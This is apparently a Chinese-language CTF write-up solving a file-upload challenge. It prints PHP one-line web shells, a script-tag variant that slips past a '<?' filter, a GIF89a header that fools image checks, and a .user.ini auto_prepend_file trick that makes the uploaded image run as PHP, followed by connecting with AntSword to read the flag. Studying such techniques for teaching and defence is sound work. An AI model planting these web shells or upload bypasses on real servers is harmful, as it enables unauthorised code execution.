靶机,启动!
如图所示,一看就是文件上传题。
整个木马图片丢进去看看。
<?php eval($_POST ['shell']);?>
纳尼?不让我用<?
那我换一个语法
<script language='php'>eval($_POST['shell']);</script>
为什么说不是image捏,看了下别的师傅的wp,插入知识点
exif_imagetype()函数会读取一个图像的第一个字节并检查其签名。
简单的会用$_FILES[“file”][“type”]来检查文件类型,这样的改后缀就绕过了。
(我说怎么以前改后缀就行)
于是我们就需要使用文件幻术头,插入知识点
每种类型的图片内容最开头会有一个标志性 的头部,这个头部被称为文件幻术。
常见的图像文件头
jpg:FF D8 FF
png:89 50 4E 47
gif:47 49 46 38 39 61
我们这里就在代码前面加个GIF89a就好啦,什么?为什么是GIF89a
可以直接转成字符加在代码前面
GIF89a
<script language='php'>eval($_POST['shell']);</script>
再来传一下
成啦,但是好像还没结束
我们到这只是成功传了个图片,我们还得把他解析成php文件执行,本来我想用抓包改后缀来干活的,结果不行,最后看了别的师傅的wp,,可以使用.user.ini文件。学到了新知识,知识点插入
.user.ini,是用户定义的php配置文件,会自动包含在执行的文件前,会自动用php的形式来读取里面包含的文件。
.user.ini有两个配置项
auto_prepend_file和auto_append_file
auto_prepend_file在文件前插入
auto_append_file在文件后插入
别忘了要加文件幻术头
GIF89a
auto_prepend_file=a.jpg
在上传.user.ini
到这就差不多结束了,用蚁剑连接一下。
连接的是上传图片的地址凹,不是配置文件的地址!
url地址要包含我们上传的地址
这里的your dir...和your file。我看到别的师傅解释这俩,前面是你上传在后台的目录路径,后面是这个目录下有啥文件。
所以我们的url链接里的index.php才是在最后的...应该是这样理解的吧?
密码就是我们post里的字符,我写的是shell,所以密码也是shell
连接!
找到能输路径的地方,直接输/flag看看在不在里面吧
正好点.user.ini能输
结束哩。
有什么不对希望多多指正!